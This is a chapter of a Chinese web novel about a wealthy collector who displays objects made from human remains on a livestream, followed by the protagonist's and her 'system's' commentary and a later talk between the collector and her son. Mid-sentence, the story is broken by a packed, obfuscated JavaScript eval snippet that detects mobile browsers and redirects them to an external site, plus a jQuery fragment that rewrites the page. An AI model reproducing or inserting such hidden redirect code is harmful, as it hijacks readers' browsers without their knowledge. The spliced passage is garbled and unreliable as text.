这样才对嘛!不用想,那群土包子观众此刻的表情肯定和他没什么两样。 众人的反应极大地取悦了她那颗空洞又扭曲的虚荣心。 然而,成功惊掉所有人的下巴后,她犹不满足,再次开口强调道:“想不到吧?夭折的婴儿也能变成独具匠心的艺术品。” 光听声音,观众都能想象到她不以为耻反以为荣的嘴脸,顿时怒气冲天,当即用文字当武器,瞄准她的户口本和族谱,疯狂扫/射。 冷不丁听到如此逆天的发言,主播既惊又怒,脸色难看至极,随即咬牙切齿地咒骂道:“靠!你管这叫艺术品?作践婴儿的尸体算哪门子艺术?看来女娲捏你的时候,只顾着捏脸,忘了捏脑子,否则怎么会弄出你这么个逆天玩意儿?” 赵淑卉轻嗤一声,冷冷地回复道:“我逆天?明明是你太狭隘,别忘了,人也属于动物。” 身为一名资深的动物收藏家,她打心底里觉得自己认可人类尸骨制品的艺术价值并收藏相关的精品再正常不过了,主播和观众骂她纯粹是因为嫉妒,毕竟她手握他们穷极一生都接触不到的资源。 说话的同时,她还用手机慢慢扫过旁边的玻璃展柜。 金光璀璨的嘎/巴/拉碗、酷似拨浪鼓的嘎/巴/拉鼓、被盘出包浆的嘎/巴/拉念珠、色泽艳丽的人/皮唐卡,后面还有一整排用骷髅头制作的器皿…… 当镜头扫到在射灯的照射下显得分外阴森的骷髅头时,姗姗来迟的超管二话不说直接封了直播间。 曲江吟怎么也没想到赵淑卉的脸竟然会出现在热搜上。 看完直播录频,她简直不敢相信自己的眼睛。 她知道赵淑卉有收藏动物制品的癖好,却万万没想到对方连人类的尸骨都敢收。 然而,这还不是最令她震惊的事,要知道,柳琢玉花了不少时间才挖出赵淑卉的黑料,还没挖全,只打听到她热衷于收藏野生动物制品的事,足以说明她有多谨慎。 能一直把自己收藏人类尸骨的秘密瞒得死死的,足见她颇有手腕。 这样的人居然会主动连线鉴宝直播,在数万观众面前大大剌剌地显摆那些可“狱”可“囚”的藏品,实在是太诡异了! 难不成她受了什么刺激,脑子坏掉了? “赵淑卉疯了吗?她显摆啥不好,非要显摆那些东西?”系统和曲江吟想到一块儿去了。 此时,曲江吟正忙着浏览网友的评论,漫不经心地回了一句:“谁知道呢?” “我不理解,她收那些邪门儿的东西干啥?不怕被脏东西缠上吗?” 曲江吟眉头紧拧,手指悬在屏幕上方,迟迟没有落下。 “我记得她说过一句话,人也属于动物,由此可见,普通人在她眼里,并没有比野生动物强到哪儿去。” 闻言,系统更疑惑了:“她也是人啊,怎么一点儿同理心都没有?” “说白了,她那种打小生活在云端的人,压根儿就没把在泥潭里摸爬滚打的平民百姓当做同类来看。” 话虽然是在脑子里说的,奚落的语气却不减分毫。 系统对赵淑卉的观感更差了,气呼呼地嚷嚷道:“自视甚高的傻冒!不就是投了个好胎嘛?她牛啥牛?令人作呕!” 曲江吟没有接话,它又换了个话题:“你说,她是不是想进去和她老公相聚才整了这么一出?” 曲江吟摇了摇头,“不懂别瞎说,女子监狱和男子监狱不在一块儿,她真进去也遇不到她老公。” 实际上,系统根本不在乎赵淑卉是不是真想和她老公相聚,只关心她能不能早点儿进去。 “如今,事情已经发酵,她算是彻底栽了,要我说,她早该被抓进去好好改造了。” 瞅着热搜榜上只降不升的热度,曲江吟嗤笑着回应道:“她多半不会受到应有的惩罚。” “啊?不会吧?她惹出这么大的事端,怎么可能全身而退?” “想抓她?可以,先拿出罪名吧。” “收售珍稀野生动物制品不算罪名吗?收藏违禁物品不算罪名吗?” “你太天真了,天龙人想搞几份合法收藏的证明还不简单?”曲江吟上扬的嘴角挂着嘲讽,微阖的眼眸藏着愤懑。 “天龙人是啥?” “自己上网查,我懒得解释。” 过了一会儿,系统再次开口:“可她都激起民愤了,不惩罚她怎么平息民众的怒火?” “不用平,如今可是信息社会,转移网民的注意力就行,以往都是这么做的,这次大概率也不例外。天凉了,娱乐圈的明星又该塌房了,不知道哪个行事不端、私德不修的家伙会因为睡或税的问题霸占热搜。过段时间,等网民彻底把这件事抛之脑后,再出手整顿一下鉴宝直播,由她引发的闹剧便到此为止。” 正因为目睹过不少闹得很大却不了了之的事件,她才能毫无波澜地说出舆情处理的流程。 人之所以会失望,是因为心怀期望,她从一开始就没抱什么期望,自然谈不上有多失望。 “啊?”系统失望极了,“我还以为她铁定躲不过牢狱之灾呢。” “你很希望她坐牢?” “当然啦,她进去蹲局/子,就没法儿打搅你和徐逸风谈恋爱啦。” 曲江吟神色一滞,紧盯手机屏幕的目光,有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488671|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一瞬间失去了焦点。 如果赵淑卉真能受到惩处,她和徐逸风还有的谈,否则…… 尽管她非常清楚平等只存在于乌托邦,以人类自私贪婪的底色,根本不可能创造出人人平等的社会,因为总有人想踩在别人头上作威作福,但平等这个过于美好的概念她从小听到大,以至于她完全无法容忍将平等踩在脚下碾来碾去的渣滓。 以前她只在网上见识过某些天龙人丑恶的嘴脸,对她来说,那些人只是素未谋面遥不可及的陌生人,即便如此,她仍旧义愤填膺,恨不得顺着网线冲过去,把他们揍得生活不能自理。 如今面目可憎的天龙人就在她身边,她俩不仅认识,关系还不一般,可想而知,她的心情有多复杂。 她用脚趾头想都知道,如果母亲步入父亲的后尘被捕入狱,必然会对徐逸风造成不小的打击,可她对天龙人的憎恶远大于她对徐逸风的喜爱,所以在明知他会倍受打击的情况下,她依旧盼着赵淑卉能够早日受到应有的制裁。 后续的发展果然如她所料。 隔天,某流量明星就被爆出利用阴阳合同偷/税/漏/税几个亿的丑闻,再加上某地突发百年一遇的特大自然灾害,网友不是忙着喷那个明星,就是时刻关注着救灾的进展,哪顾得上随手发个评论都要被限流的鉴宝风波啊? 八月是个热情过头的月份,为人们倾情准备了三种模式,晴天:烧烤模式,阴天:桑拿模式,雨天:蒸煮模式。 三种模式无缝切换,恨不得把所有人统统变成“熟人”。 每到这个时候,人们都会由衷地赞叹——空调真是个伟大的发明! 室外,骄阳似火,蝉鸣不止,室内,温度宜人,寂然无声。 徐逸风捏着小巧的银匙,轻轻搅拌着面前的咖啡,浓郁的香气随着他的搅动弥漫开来。 他是带着满腹疑问来的,可亲眼见到明显憔悴了不少的母亲后,他迟疑了。 她的状态很差,他不想让她难过,但他必须弄清楚她为何会上赶着自/爆,不然他这辈子都难以安心。 他在心中默默叹了口气,停下搅拌咖啡的动作,把银匙放在杯碟上,抬眸直视她的眼睛,温声开口:“妈,你……” 然而,他的话刚起了个头,就被赵淑卉出声打断:“我知道你的来意,你不理解我为什么要收那些看着就让人心里直发毛的东西,对吗?” 此前,她担心儿子对她心生芥蒂,一直把自己暗中收藏人骨制品的秘密瞒得密不透风,所以徐逸风并不知情。 哪怕她会错了意,徐逸风也没有反驳,只是微微颔首,示意她继续往下说。 虽然这并非他最在意的问题,但他也挺纳闷她收藏那些瘆人的东西干嘛。 赵淑卉唇角微勾,扯出一抹自嘲的笑容,“那些东西,我已经处理干净了,以前我不信邪,突然栽了这么大个跟头,我终于明白了,对于那些邪乎的事情,即使你不相信,也应该心存敬畏。” 然后她坐直身体,敛起笑容,沉声补充道:“那天发生的一切,我一点真实感也没有,活像被魇住了一样。尽管我确实喝醉了,可……我总觉得我那些状若疯癫的言行,不单单是因为酒精的作用。”